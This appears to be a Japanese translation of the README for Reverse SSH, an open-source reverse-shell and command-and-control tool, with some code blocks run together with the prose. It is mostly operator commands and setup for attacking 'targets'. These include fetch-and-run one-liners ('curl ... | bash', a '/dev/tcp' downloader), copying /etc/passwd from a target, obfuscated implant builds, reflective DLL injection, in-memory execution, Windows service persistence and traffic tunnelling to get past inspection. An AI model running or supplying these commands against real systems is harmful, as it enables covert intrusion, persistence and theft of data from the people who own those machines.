

(アートクレジット: https://www.instagram.com/smart.hedgehog.art/)
SSHをリバースシェルに使いたいですか? 今すぐ可能です。
SCPおよびSFTP実装http、websockets、tlsなどの複数のネットワークトランスポートhttps://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [リバースSSH](#reverse-ssh)
- [TL;DR](#tldr)
- [セットアップ](#setup)
- [基本的な使い方](#basic-usage)
- [スポンサー](#sponsors)
- [個人スポンサー](#individuals)
- [法人スポンサー](#companies)
- [高度な機能](#fancy-features)
- [権限](#privileges)
- [自動接続バック](#automatic-connect-back)
- [リバースシェルのダウンロード(クライアント生成と内蔵HTTPサーバー)](#reverse-shell-download-client-generation-and-in-built-http-server)
- [代替トランスポート(HTTP/WebSocket/TLS)](#alternate-transports-httpwebsocketstls)
- [Bashオートコンプリート](#bash-autocomplete)
- [Windows DLL生成](#windows-dll-generation)
- [SSHサブシステム](#ssh-subsystems)
- [すべて](#all)
- [Linux](#linux)
- [Windows](#windows)
- [Windowsサービス統合](#windows-service-integration)
- [完全なWindowsシェルサポート](#full-windows-shell-support)
- [Webhook](#webhooks)
- [Tun(VPN)](#tun-vpn)
- [ファイルレス実行(クライアントは動的に実行ファイルをダウンロードしてシェルとして実行可能)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
- [対応URIスキーム](#supported-uri-schemes)
- [ヘルプ](#help)
- [Windows](#windows-help)
- [SFTP](#windows-and-sftp)
- [セッション生成エラー (0xc0000142)](#session-spawn-errors-0xc0000142)
- [`--insecure` で起動したサーバーで `Failed to handshake` が発生する場合](#server-started-with---insecure-still-has-failed-to-handshake)
- [フォアグラウンドとバックグラウンド](#foreground-vs-background)
- [寄付、サポート、または還元](#donations-support-or-giving-back)
## TL;DR
### セットアップ
適切なバージョンのgolangとWindows向けクロスコンパイラが含まれているため、Dockerリリースが推奨されます。```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
または docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data
### 基本的な使い方```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
すべてのコマンドは、ヘルプを表示するための -h フラグをサポートしています。
通常の ssh コマンドが動作し、rssh サーバーをジャンプホストとして指定するだけです。```sh
ssh -J your.rssh.server.internal:3232 dummy.machine
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
## スポンサー
RSSHプロジェクトに寄付し、このすべての作業を可能にしてくれた以下の方々に心から感謝します!
### 個人
[chikamobina](https://github.com/chikamobina) の寛大なご寄付に感謝します!
[wrighterase (ctrlzero)](https://github.com/wrighterase) のプルリクエストとご寄付に感謝します!
### 企業
[Carapace](https://carapace.nz/) はニュージーランド拠点のセキュリティコンサルタントで、非常に才能あるチームです!
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)
## 便利な機能
### 権限
RSSHサーバーは非常に基本的なユーザー権限をサポートしており、`data-directory`/`keys` ( `--datadir`で指定) フォルダ内のユーザー(例: `data-directory/keys/jim`)は、"ユーザー"として割り当てられ、公開されている(`owners`タグがない、または空の`owners`タグがある`authorized_controllee_keys`ファイルにある)クライアント、または特に割り当てられたクライアント(例: `owners="jim"`)のみを表示できます。
これは実行時に、ユーザーが所有するクライアントへのアクセスを `access` コマンドで共有するか、サーバー管理者によって変更できます。デフォルトでは、`authorized_keys` ファイルにある公開鍵は後方互換性のために管理者としてマークされます。
`access` コマンドによる変更はサーバー再起動後も持続しないため、その特定のクライアントの `authorized_controllee_keys` ファイルを編集する必要があります。
### 自動コールバック
rsshクライアントはコールバックアドレスを組み込むことができます。
デフォルトでは、`link` コマンドがサーバーの外部アドレスを組み込みます。
何らかの理由で手動でバイナリをビルドする場合は、環境変数 `RSSH_HOMESERVER` を指定してクライアントに組み込むことができます:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make
# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client
# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232
RSSHサーバはクライアントバイナリをビルドしてホストできます(linkコマンド)。これが推奨されるクライアントのビルドと提供方法です。
この機能を動作させるには、サーバがプロジェクトの bin/ フォルダに配置されている必要があります。クライアントソースを見つける必要があるためです。
デフォルトでは、docker リリースはこれらがすべて適切に構築されており、使用が推奨されます。```sh
ssh your.rssh.server.internal -p 3232
catcher$ link -h
link [OPTIONS] Link will compile a client and serve the resulting binary on a link which is returned. This requires the web server component has been enabled. --fingerprint Set RSSH server fingerprint will default to server public key --garble Use garble to obfuscate the binary (requires garble to be installed) --goarch Set the target build architecture (default runtime GOARCH) --goarm Set the go arm variable (not set by default) --goos Set the target build operating system (default runtime GOOS) --http Use http polling as the underlying transport --https Use https polling as the underlying transport --log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED] --lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set) --name Set the link download url/filename (default random characters) --no-lib-c Compile client without glibc --ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\USER:PASS --owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson --proxy Set connect proxy address to bake it --raw-download Download over raw TCP, outputs bash downloader rather than http --shared-object Generate shared object file --sni When TLS is in use, set a custom SNI for the client to connect with --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored --tls Use TLS as the underlying transport --upx Use upx to compress the final binary (requires upx to be installed) --use-kerberos Instruct client to try and use kerberos ticket when using a proxy --working-directory Set download/working directory for automatic script (i.e doing curl https://.sh) --ws Use plain http websockets as the underlying transport --wss Use TLS websockets as the underlying transport -C Comment to add as the public key (acts as the name) -l List currently active download links -o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson -r Remove download link -s Set homeserver address, defaults to server --external_address if set, or server listen address if not
catcher$ link --name test http://your.rssh.server.internal:3232/test
その後、以下のようにダウンロードできます:```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test
または、raw tcpを使用してクライアントバイナリをダウンロードすることもできます:```sh bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test
RAW に続けてファイル名を指定するだけです。この場合 `test` が該当し、`--raw-download` オプションを使用すると rssh が自動生成できます。
RSSH サーバーは `.sh`、`.py`、`.ps1` の URL パス末尾もサポートしており、これらはインタプリタにパイプできるスクリプトを生成します:```sh
curl http://your.rssh.server.internal:3232/test.sh | sh
リバースSSHサーバーとクライアントは、ディープパケットインスペクションがホストまたはネットワークからのSSHアウトバウンドをブロックする場合のために、複数のトランスポートをサポートしています。
クライアントでURLとして指定することで、手動でコールバックスキームを指定できます。
例```sh ./client -d ws://your.rssh.server:3232
または、`link` コマンドで組み込むこともできます。```sh
ssh your.rssh.server -p 3232 link --ws --name test
RSSH サーバーには autocomplete コマンドがあり、bash とシームレスに統合されるため、サーバーコンソールを使用しない場合でもオートコンプリートを利用できます。
インストールするには、以下のコマンドを実行するだけです:```sh
ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232
これにより、あなたの `.zshrc` または `.bashrc` に追加できる自動補完が返されます。
例```sh
_RSSHCLIENTSCOMPLETION()
{
local cur=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}
_RSSHFUNCTIONSCOMPLETIONS()
{
local cur=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}
complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232
complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill
ターミナルから直接補完を実行できるようにします:```sh
ssh -J your.rssh.server.internal:3232
### Windows DLL の生成
クライアントを DLL としてコンパイルし、[Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1) のようなもので読み込むことができます。これは、rssh client のファイルレスインジェクションを行いたい場合に便利です。
Linux 上でこれを行う場合は、クロスコンパイラが必要です。`mingw-w64-gcc` を使用してください。これは Docker リリースに含まれています。```bash
# Using the link command
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll
# If building manually
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
SSH プロトコルは -s フラグを使用したサブシステムの呼び出しをサポートしています。RSSH ではこれを再利用して、プラットフォーム向けの特別なコマンドと sftp サポートを提供します。
list 利用可能なサブシステムを一覧表示します
sftp: ファイル転送のために sftp ハンドラを実行します
setgid: グループ変更を試みます
setuid: ユーザー変更を試みます
service: rssh バイナリを Windows サービスとしてインストールまたは削除します。管理者権限が必要です
例```sh
ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install
### Windows サービス統合
クライアント RSSH バイナリは、Windows サービス内で実行され、10秒後にタイムアウトしないようにサポートしています。これは、永続的な管理サービスを作成するのに最適です。
### フル Windows シェルサポート
Windows 用のほとんどのリバースシェルは、サイズ変更やコピー&ペースト、その他私たちが好むすべての機能をサポートするシェル環境を生成するのに苦労しています。
このプロジェクトは、新しいバージョンの Windows では `conpty` を、古いバージョンでは (自己展開する) `winpty` ライブラリを使用しています。これにより、ほぼすべての Windows バージョンで快適なシェルを利用できるはずです。
### Webhook
RSSH サーバーは、ターミナルインターフェースから `webhook` コマンドで設定された生の HTTP リクエストを送信できます。
まず、webhook を有効にします:```bash
$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/
その後、クライアントを切断または接続すると、これにより以下の形式でPOSTリクエストが発行されます。```bash
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip
{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%
追加の注意として、これをDiscordに接続する場合は、`/slack`エンドポイントを使用してください。
### Tun (VPN)
RSSHおよびSSHは、トラフィックをルーティングして疑似VPNを作成できるtuntapインターフェースの作成をサポートしています。ローカルまたはリモートフォワード(`-L`、`-R`)よりも若干のセットアップが必要ですが、このモードでは`UDP`と`ICMP`を送信できます。
#### 重要な注意事項
悪意のあるRSSHクライアントに接続した場合、そのクライアントはトンネルデバイスに接続し返すことができます。そのため、フォワーディングを有効にしないこと、ローカルマシンへの接続を阻止するファイアウォールルールを設定するか、コンテナ/netns内でこれを実行することが重要です。
リモートマシンにクライアントをインストールしてください。tunデバイスと同じホストにRSSHクライアントがある場合、これは機能しません。```sh
sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any
sudo ip link set dev tun0 up
sudo ip route add 0.0.0.0/0 dev tun0
これはいくつかの制限があり、送信できるのはUDP/TCP/ICMPのみで、任意のレイヤー3プロトコルは送信できません。ICMPはベストエフォートであり、リモートホストのpingツールを使用する場合があります。これは、ほとんどのマシンでICMPソケットが特権を必要とするためです。また、tapデバイス、例えばレイヤー2 VPNはサポートされていません。これには管理アクセスが必要になるためです。
rsshバイナリが実行する実行ファイルを指定する際、完全なPTYセッションで接続する場合でもRaw実行する場合でも、クライアントはURIスキームをサポートしており、offhostの実行ファイルをダウンロードできます。
例として。```sh connect --shell https://your.host/program <rssh_client_id> ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program
#### 対応URIスキーム
`http/https`: 純粋なWebダウンロード
`rssh`: rsshサーバー経由のダウンロード
rsshサーバーは、実行可能ファイルの作業ディレクトリ内の `downloads` ディレクトリからコンテンツを提供します。
これらの方法はどちらも、可能であれば [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) を使用します。これにより、実行可能ファイルがディスクに書き込まれることはありません。
# ヘルプ
## Windows
### SFTP
SFTP(というより、私が使用しているライブラリ)の制限のため、Windowsではパスに少し工夫が必要です。```sh
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'
注意: 開始文字の前に / があることを確認してください。
一部の実行状況では、Windows上のRSSHクライアントへの接続がエラーなしで失敗する場合があります。```sh catcher$ connect windows-system Session has terminated.
クライアントログ:```sh
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected
この問題には2つの一般的な原因があります。1つ目は、アンチウイルスが生成されたPowerShellを強制終了したこと、もう1つは 0xc0000142 エラーで、結果のプロセスがWindows Station または Desktop にアクセスする権限を持っていない場合です source。
どの原因かを判断するには、ptyなしで任意のコマンドを実行してください:```sh
ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142
`0xc0000142` エラーコードが表示された場合は、`CMD.exe` を起動し、pty (`-t`) を強制的に割り当ててみてください:```sh
ssh -t -J rssh windows-system CMD.exe
これでインタラクティブシェルが起動します。
--insecure で起動したサーバーでも Failed to handshake が発生するlink コマンドでクライアントバイナリを生成した場合、デフォルトでサーバーの公開鍵フィンガープリントが組み込まれます。サーバーの秘密鍵を失うと、クライアントは接続できなくなります。
また、link --fingerprint <fingerprint here> でフィンガープリントを指定してクライアントを生成することもできますが、バージョン 1.0.13 時点ではこれを無効にする方法はありません。
デフォルトでは、クライアントはバックグラウンドで実行され、その後親プロセスが終了します。子プロセスには親プロセスの stdout/stderr が引き継がれるため、出力を確認できます。クライアントをデバッグする必要がある場合は、--foreground フラグを使用してください。
RSSH プロジェクトに貢献する最も簡単な方法は、バグを見つけたり、機能リクエストを開いたり、役立つと思う人に口コミで宣伝することです。
ただし、私に直接何か返したい場合は、Kofi または GitHub Sponsors(右側の「このプロジェクトをスポンサーする」から)を通じて行うことができます。 または、以下のいずれかのウォレットに送金して寄付することもできます。
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr